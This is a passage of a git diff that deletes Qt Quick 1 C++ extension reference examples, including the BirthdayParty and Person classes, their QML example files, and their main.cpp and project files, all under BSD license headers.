THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "birthdayparty.h" - -BirthdayParty::BirthdayParty(QObject *parent) -: QObject(parent), m_host(0) -{ -} - -// ![0] -Person *BirthdayParty::host() const -{ - return m_host; -} - -void BirthdayParty::setHost(Person *c) -{ - m_host = c; -} - -QDeclarativeListProperty BirthdayParty::guests() -{ - return QDeclarativeListProperty(this, m_guests); -} - -int BirthdayParty::guestCount() const -{ - return m_guests.count(); -} - -Person *BirthdayParty::guest(int index) const -{ - return m_guests.at(index); -} -// ![0] - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/birthdayparty.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/birthdayparty.h deleted file mode 100644 index 2c3d128b6d..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/birthdayparty.h +++ /dev/null @@ -1,75 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef BIRTHDAYPARTY_H -#define BIRTHDAYPARTY_H - -#include -#include -#include "person.h" - -// ![0] -class BirthdayParty : public QObject -{ - Q_OBJECT -// ![0] -// ![1] - Q_PROPERTY(Person *host READ host WRITE setHost) -// ![1] -// ![2] - Q_PROPERTY(QDeclarativeListProperty guests READ guests) -// ![2] -// ![3] -public: - BirthdayParty(QObject *parent = 0); - - Person *host() const; - void setHost(Person *); - - QDeclarativeListProperty guests(); - int guestCount() const; - Person *guest(int) const; - -private: - Person *m_host; - QList m_guests; -}; -// ![3] - -#endif // BIRTHDAYPARTY_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/example.qml b/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/example.qml deleted file mode 100644 index 36ee952243..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/example.qml +++ /dev/null @@ -1,55 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import People 1.0 - -// ![0] -BirthdayParty { - host: Person { - name: "Bob Jones" - shoeSize: 12 - } - guests: [ - Person { name: "Leo Hodges" }, - Person { name: "Jack Smith" }, - Person { name: "Anne Brown" } - ] -} -// ![0] diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/main.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/main.cpp deleted file mode 100644 index d037d88f20..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/main.cpp +++ /dev/null @@ -1,68 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include "birthdayparty.h" -#include "person.h" - -int main(int argc, char ** argv) -{ - QCoreApplication app(argc, argv); - - qmlRegisterType("People", 1,0, "BirthdayParty"); - qmlRegisterType("People", 1,0, "Person"); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl("qrc:example.qml")); - BirthdayParty *party = qobject_cast(component.create()); - - if (party && party->host()) { - qWarning() << party->host()->name() << "is having a birthday!"; - qWarning() << "They are inviting:"; - for (int ii = 0; ii < party->guestCount(); ++ii) - qWarning() << " " << party->guest(ii)->name(); - } else { - qWarning() << component.errors(); - } - - return 0; -} diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/person.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/person.cpp deleted file mode 100644 index 30d1e46e5a..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/person.cpp +++ /dev/null @@ -1,66 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "person.h" - -Person::Person(QObject *parent) -: QObject(parent), m_shoeSize(0) -{ -} - -QString Person::name() const -{ - return m_name; -} - -void Person::setName(const QString &n) -{ - m_name = n; -} - -int Person::shoeSize() const -{ - return m_shoeSize; -} - -void Person::setShoeSize(int s) -{ - m_shoeSize = s; -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/person.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/person.h deleted file mode 100644 index dd3ad4d188..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/person.h +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PERSON_H -#define PERSON_H - -#include - -class Person : public QObject -{ - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName) - Q_PROPERTY(int shoeSize READ shoeSize WRITE setShoeSize) -public: - Person(QObject *parent = 0); - - QString name() const; - void setName(const QString &); - - int shoeSize() const; - void setShoeSize(int); -private: - QString m_name; - int m_shoeSize; -}; - -#endif // PERSON_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/properties.pro b/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/properties.pro deleted file mode 100644 index 4f0ff882b3..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/properties.pro +++ /dev/null @@ -1,18 +0,0 @@ -TEMPLATE = app -TARGET = properties -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative qtquick1 - -# Input -SOURCES += main.cpp \ - person.cpp \ - birthdayparty.cpp -HEADERS += person.h \ - birthdayparty.h -RESOURCES += properties.qrc - -target.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/properties -sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS properties.pro -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/properties -INSTALLS += target sources diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/properties.qrc b/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/properties.qrc deleted file mode 100644 index e2fa01d5e7..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/properties/properties.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - example.qml - - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/referenceexamples.pro b/examples/declarative/qtquick1/cppextensions/referenceexamples/referenceexamples.pro deleted file mode 100644 index 505cefd331..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/referenceexamples.pro +++ /dev/null @@ -1,14 +0,0 @@ -TEMPLATE = subdirs - -SUBDIRS += \ - adding \ - attached \ - binding \ - coercion \ - default \ - extended \ - grouped \ - properties \ - signal \ - valuesource \ - methods diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/referenceexamples.qmlproject b/examples/declarative/qtquick1/cppextensions/referenceexamples/referenceexamples.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/referenceexamples.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/birthdayparty.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/birthdayparty.cpp deleted file mode 100644 index 5ee36d2c9a..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/birthdayparty.cpp +++ /dev/null @@ -1,98 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "birthdayparty.h" - -BirthdayPartyAttached::BirthdayPartyAttached(QObject *object) -: QObject(object) -{ -} - -QDate BirthdayPartyAttached::rsvp() const -{ - return m_rsvp; -} - -void BirthdayPartyAttached::setRsvp(const QDate &d) -{ - m_rsvp = d; -} - - -BirthdayParty::BirthdayParty(QObject *parent) -: QObject(parent), m_host(0) -{ -} - -Person *BirthdayParty::host() const -{ - return m_host; -} - -void BirthdayParty::setHost(Person *c) -{ - m_host = c; -} - -QDeclarativeListProperty BirthdayParty::guests() -{ - return QDeclarativeListProperty(this, m_guests); -} - -int BirthdayParty::guestCount() const -{ - return m_guests.count(); -} - -Person *BirthdayParty::guest(int index) const -{ - return m_guests.at(index); -} - -void BirthdayParty::startParty() -{ - QTime time = QTime::currentTime(); - emit partyStarted(time); -} - -BirthdayPartyAttached *BirthdayParty::qmlAttachedProperties(QObject *object) -{ - return new BirthdayPartyAttached(object); -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/birthdayparty.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/birthdayparty.h deleted file mode 100644 index 45ad4f0acf..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/birthdayparty.h +++ /dev/null @@ -1,92 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef BIRTHDAYPARTY_H -#define BIRTHDAYPARTY_H - -#include -#include -#include -#include "person.h" - -class BirthdayPartyAttached : public QObject -{ - Q_OBJECT - Q_PROPERTY(QDate rsvp READ rsvp WRITE setRsvp) -public: - BirthdayPartyAttached(QObject *object); - - QDate rsvp() const; - void setRsvp(const QDate &); - -private: - QDate m_rsvp; -}; - -class BirthdayParty : public QObject -{ - Q_OBJECT - Q_PROPERTY(Person *host READ host WRITE setHost) - Q_PROPERTY(QDeclarativeListProperty guests READ guests) - Q_CLASSINFO("DefaultProperty", "guests") -public: - BirthdayParty(QObject *parent = 0); - - Person *host() const; - void setHost(Person *); - - QDeclarativeListProperty guests(); - int guestCount() const; - Person *guest(int) const; - - static BirthdayPartyAttached *qmlAttachedProperties(QObject *); - - void startParty(); -// ![0] -signals: - void partyStarted(const QTime &time); -// ![0] - -private: - Person *m_host; - QList m_guests; -}; -QML_DECLARE_TYPEINFO(BirthdayParty, QML_HAS_ATTACHED_PROPERTIES) - -#endif // BIRTHDAYPARTY_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/example.qml b/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/example.qml deleted file mode 100644 index 811272c7b3..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/example.qml +++ /dev/null @@ -1,72 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import People 1.0 - -// ![0] -BirthdayParty { - onPartyStarted: console.log("This party started rockin' at " + time); -// ![0] - - host: Boy { - name: "Bob Jones" - shoe { size: 12; color: "white"; brand: "Nike"; price: 90.0 } - } - - Boy { - name: "Leo Hodges" - BirthdayParty.rsvp: "2009-07-06" - shoe { size: 10; color: "black"; brand: "Reebok"; price: 59.95 } - } - Boy { - name: "Jack Smith" - shoe { size: 8; color: "blue"; brand: "Puma"; price: 19.95 } - } - Girl { - name: "Anne Brown" - BirthdayParty.rsvp: "2009-07-01" - shoe.size: 7 - shoe.color: "red" - shoe.brand: "Marc Jacobs" - shoe.price: 699.99 - } -// ![1] -} -// ![1] diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/main.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/main.cpp deleted file mode 100644 index 7c6ec36a01..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/main.cpp +++ /dev/null @@ -1,91 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include "birthdayparty.h" -#include "person.h" - -int main(int argc, char ** argv) -{ - QCoreApplication app(argc, argv); - - qmlRegisterType(); - qmlRegisterType("People", 1,0, "BirthdayParty"); - qmlRegisterType(); - qmlRegisterType(); - qmlRegisterType("People", 1,0, "Boy"); - qmlRegisterType("People", 1,0, "Girl"); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl("qrc:example.qml")); - BirthdayParty *party = qobject_cast(component.create()); - - if (party && party->host()) { - qWarning() << party->host()->name() << "is having a birthday!"; - - if (qobject_cast(party->host())) - qWarning() << "He is inviting:"; - else - qWarning() << "She is inviting:"; - - for (int ii = 0; ii < party->guestCount(); ++ii) { - Person *guest = party->guest(ii); - - QDate rsvpDate; - QObject *attached = - qmlAttachedPropertiesObject(guest, false); - if (attached) - rsvpDate = attached->property("rsvp").toDate(); - - if (rsvpDate.isNull()) - qWarning() << " " << guest->name() << "RSVP date: Hasn't RSVP'd"; - else - qWarning() << " " << guest->name() << "RSVP date:" << qPrintable(rsvpDate.toString()); - } - - party->startParty(); - } else { - qWarning() << component.errors(); - } - - return 0; -} diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/person.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/person.cpp deleted file mode 100644 index 7afcdc6ca6..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/person.cpp +++ /dev/null @@ -1,118 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR 